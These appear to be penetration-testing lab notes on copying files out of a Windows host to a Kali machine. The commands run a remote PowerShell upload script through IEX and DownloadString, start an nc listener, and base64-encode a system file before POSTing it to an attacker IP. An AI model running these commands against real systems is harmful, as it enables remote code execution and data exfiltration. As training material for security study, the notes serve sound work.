PowerShell has no built in upload function.
Install it on kali
- pip3 install uploadserver
Start the server
python3 -m uploadserver
Now we can use a PowerShell script PSUpload.ps1 to perform the file Upload
(accepts 2 Parameter -File (file path) -Uri the server URL
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/PowerShell/PSUpload.ps1')
| |
Start NC listener on kali
nc -lvnp 8000
base64 encode the file and send it as post request on the PS
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
Write the received base64 string into a new file on kali
echo <base64> | base64 -d -w 0 > hosts